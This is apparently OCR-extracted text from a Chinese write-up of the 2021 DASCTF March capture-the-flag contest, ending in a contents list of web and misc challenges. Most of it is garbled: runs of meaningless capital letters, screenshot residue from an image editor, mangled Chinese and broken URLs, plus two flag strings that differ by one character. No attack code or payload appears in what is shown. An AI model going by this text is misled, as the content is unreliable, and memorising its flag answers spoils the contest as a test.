TKMQANSP JUMY TKMQAASUANSUTKMQANSUS A JUSAMOAASQRUTUMU TAAASAAN JUMUTAANSN AN JTUMU TS
ER_JJKUMS\QPER_J]KUMSKUMER_J JKUKTMUK]M_J1K_JJMUKIM_JTK_JTKUKIM_J1K_JTKUKIM_JIK_3
HTXZQDDUTZUXHTXZQDDUTDDUHTXZQUXZTDDZ TDXZQUXZQZDDXZDUQUXUQUDDXZDUQUXUQUDDXZDUQUXU
EYZIHVFQ[K™ CEYZIHVFQ[VFQEYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZIHYZI
EEDHYNWSMF ZC EEDHYNWS MNWS EEDHYNWSMNWSMNDHYNMHY SWSDSWNYNMNYNWSDSWNYNMMY NWSDSWNYNMN
ZNFDRGB JKZVZNFDRGBDRGBDRGFDRGBDRGBDRGF DRGBGBGBGBDRDRGBDRGBDRGBDRGBDRGBDRGBDRGBD
NQAQLHPZQ\X™ NQAQLHPZOQ\X™ NQAQLHPZQ\X™ NQAQLHPZQ\X™ NQAQLHPZQ\X™ NQAQLHPZQ\X NQAQLHPZ
VRMTACIXN_TPVRMT~CIXN_TPVRMTAC]XN_TPVRMT~C JXN_TPVRMT~C]XN_TPVRMT~C JXN_TPVRMT~C]X
CNHAN\HYWVQMCNHAN\HYWVOMCNHA N\ HYWVOMCNHAN\HYWVQMCNHAN\ HYWVOMCNHAN\ HYWVQMCHHAN\HY
KINAL RN TWNKKINAL INALINAVANAL I\ INININA[ALININININA[INALINI [INI[I[I[INI[INI[I[I[3
TYCILIACE[QU YCILYCIE[ YE[LILYEILY YLY YLYEILY YLY YLY ILY ILY YLYLILY ILY YLYLI
UBIKIDP~E[ZMUBIKIBIKE[ZME[ZKIBZKI[ZME[ZMIBZKI[ZMZ[ZBZ[ZKI[ZKI[Z[I[IKI[ZKI[Z[I[IK

FALALIIAARCAIATAL AL ALV ARATIRACAT Al AFCL AFRRET A ATCL ATCL Sl S el L e s AL, el el S e el el e


https://the-x.cn/zh-cn/base64/

LLULLCLULLVLL LU LULLL UL LLVLLY

PVP__V P

FRH[M[ JHNK
T ]FAMEP ] [ OOMT ] FAMEP ITIFAMEP] [ "MEP FAMEP]

WT TUECTFEHF aazd WA H, HMEAEHEANZME, REFREROAR, BRXEBRBEEANFEE, BA LK

[] SzkHp #E8E B&n BEQ o) e #EEm 300 88V sE0w) @)
P & BEE T
1.png @ 110% (B 1, RGB/8) ER
s 10 s 0 7
Adobe Heiti Std
< 305
VA ERig - 1A
IT 150%

g o=

O+

TTITITT: T T.
s
SEE CAE- 1
==
Qs HEeTOomn ®
=g REFE: 100%
i B ¢ % I 8 I wo% v

J== 1}

EE 1

=
-

(1 PEROO0OFFSAEAMNINND I

o
i

GIL)

S744:2.29M/5.98M https://blég.cddn Fet/Modu 77w 77

R REE ) BEREL 3ZFv) EES) BEM 300 WAV =OW REH)
+ - & BE {et
1.png @ 110% (EIEE 1, RGB/8) * o=
2 K s F
adobeHeitistd v R
T 2084 v &
VA gERE -~ o
1T 150%
Ao

I e B

T ITITT: T T
st
FEEE
BEE =
Qs
%5 TNEPARE: 100% -
B5E: B o ¢ I @ R 100% -

| == |}

EE 1

|
‘-

I PEROOCOFSAEMMNSINND!

o
i

hL




hitps:/olod.cddn by RodRu AT 77

ERIFNM, T, FAEAEE, BTREMATREBRRE T —TEHAXN, ATREBEAXIE, part3fFAHk
part4.zip FIFEBHARL I parts key , WRAFZ part2 FHIHI, partd key W HER partd.zip fRHRMEXWEH, 2T
E4AENE, WAMEREAM, AMEAR, T FTREHEY, XBRREXRET

i) 5 &

\4

FEEEERITh, EiEfag—H ~ DASCTF{3d579ef3b2b5c44066454b7b7edb4f8}

Bl

DASCTF{3d579ef3b2b5c44066454b7fb7edb4f8}



	2021-DASCTF-三月赛-Writeup
	文章目录

	WEB
	BestDB
	ez_serialize
	baby_flask
	ez_login

	MISC
	签到
	简单的png隐写
	雾都孤儿
	小田的秘密
	Ascii_art
	问卷调查


